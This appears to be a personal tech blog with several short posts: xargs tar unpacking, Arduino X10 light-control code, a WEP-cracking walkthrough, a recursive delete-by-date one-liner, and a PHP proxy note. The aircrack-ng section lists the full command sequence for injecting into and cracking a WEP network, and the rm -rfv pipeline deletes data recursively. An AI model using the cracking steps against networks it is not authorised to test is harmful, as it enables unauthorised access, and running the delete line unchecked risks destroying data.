unpack multiple files at once using xargs

how to upack all tarball gunzips .tar.gz in a given directory at a time

ls *.tar.gz | xargs -t -I {} tar -zxvf  {}

*note: after the -t it is a -I as in -(capital)i

substitute your flavors at -zxvf and adjust file list at the ls command before the pipe

arduino, x10, buttons, and lcd

this code is one night old. more to come from it but it’s not much now:

#include <LiquidCrystal.h>
// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(2, 3, 4, 5, 6, 7);
/*
brb 20091121
control 2 x10 devices (4 &2) via momentary switches on pins 10
and 12. x10 interface on pins 8 and 9 and a 16×2 lcd on 2, 3,
4, 5, 6, & 7. messages will be printed to the serial console and
to the lcd screen

hold down both buttons to shut all units off

*/
#include <x10.h>
#include <x10constants.h>

#define zcPin 8
#define dataPin 9

const int buttonPin2 = 10;
const int buttonPin = 12;     // the number of the pushbutton pin
const int ledPin =  13;      // the number of the LED pin
int buttonState = 0;
int buttonState2 = 0;         // variable for reading the pushbutton status
int buttoncount = 0;
int buttoncount2 = 0;
int resetcounterflag = 0;

// set up a new x10 instance:
x10 myHouse =  x10(zcPin, dataPin);

void setup() {
Serial.begin(9600);
// set up the LCD’s number of rows and columns:
lcd.begin(16, 2);
// Print a message to the LCD.
lcd.print(“poweredByCoffee”);
// initialize the LED pin as an output:
pinMode(ledPin, OUTPUT);
// initialize the pushbutton pin as an input:
pinMode(buttonPin, INPUT);
pinMode(buttonPin2, INPUT);
}

void loop() {
buttonState = digitalRead(buttonPin);
buttonState2 = digitalRead(buttonPin2);
// check if the pushbutton is pressed.
// if it is, the buttonState is HIGH:
if (buttonState == HIGH) {
delay(100);
if (buttonState2 == HIGH){
allUnitsOff();
}
else if (buttoncount == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“Desk OFF  “);
Serial.println(“Desk Light off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount == 2){
digitalWrite(ledPin, HIGH);
buttoncount=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“Desk ON   “);
Serial.println(“Desk Light on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
if (buttonState2 == HIGH) {
delay(100);
if (buttonState == HIGH){
allUnitsOff();
}
else if (buttoncount2 == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“LR OFF     “);
Serial.println(“Living Room off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount2++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount2 == 2){
digitalWrite(ledPin, HIGH);
buttoncount2=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“LR ON      “);
Serial.println(“Living Room on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
//do nothing
lcd.setCursor(0, 1);
lcd.print(”  benduino x10″);
}

void allUnitsOff() {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(“ALL UNITS OFF”);
Serial.println(“All Units off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, ALL_UNITS_OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
resetcounterflag=1;
delay(100);
return;
}

wep cracking with aircrack-ng

had to get a new usb adapter that was capable of inject and monitor modes. took a chance with a netgear usb wg111 at best buy, it happened to be ralink based (wg111v3). then i installed the aircrack-ng suite and began testing my network with the commands below

scan for available networks using card that can do injection
# iwlist wlan0 scan
start airmon-ng on the appropriate channel and interface
# airmon-ng start wlan0 6
do an injection test for good measure
# aireplay-ng -9 wlan0
do an injection test against target network
# aireplay-ng -9 -e {ssid here} -a {mac of ap here} wlan0
start the airodump *needs dedicated terminal or backgrounding of process
# airodump-ng -c 6 –bssid {mac of ap here} -w output wlan0
begin probe *needs dedicated terminal or backgrounding of process
# aireplay-ng -1 6 -e {essid here} -a {mac of ap here} -h {mac of associated client or own mac} wlan0
begin injection *needs dedicated terminal or backgrounding of process
# aireplay-ng -3 -b {mac of ap here} -h {mac of associated client or own mac} wlan0
begin cracking *needs dedicated terminal or backgrounding of process
# aircrack-ng -z -b {mac of ap here} output*.cap

just let those things run until it gives you the key

moral of the story: never use WEP

remove files and folders by date

this is designed to delete files by date from the current directory….it was googles fault for providing “source” in a .deb with relative paths without being clear. plus it was my fault for not doing a test extract prior to doing a real one….pretty irrelevant but was needed to tidy up my /usr/local/src

by design will remove files dated 2008-11-07 from slackware’s ls -al …probably would be wise to trial run it by changing the xargs to an echo first ;-)

#ls -altrh |grep ‘2008-11-07’ |awk {‘print $8’} |xargs rm -rfv

phpMyProxy – Simple, Straightforward and works

When a routing issue in our datacenter arose today, as a temporary solution i whipped out a proxy install that was so basic i couldn’t mess it up (and i definitely was doing “unsupported” tweaks to the files). To embelish on the routing issue a little more: a local isp moved some equippment into the datacenter, now on the same level in the same pool as our servers, their clients could not reach our servers when entering the routes from very specific directions. a temp solution is now in place and they aren’t sure when the permanent solution will work…don’t blame me….nothing changed on my end.

http://www.drunkensailor.org/proxy/

www.phpmyproxy.com – i did have to register for the initial link, but since it’s open source here’s a link to my version’s tarball…(so much lighter!!!)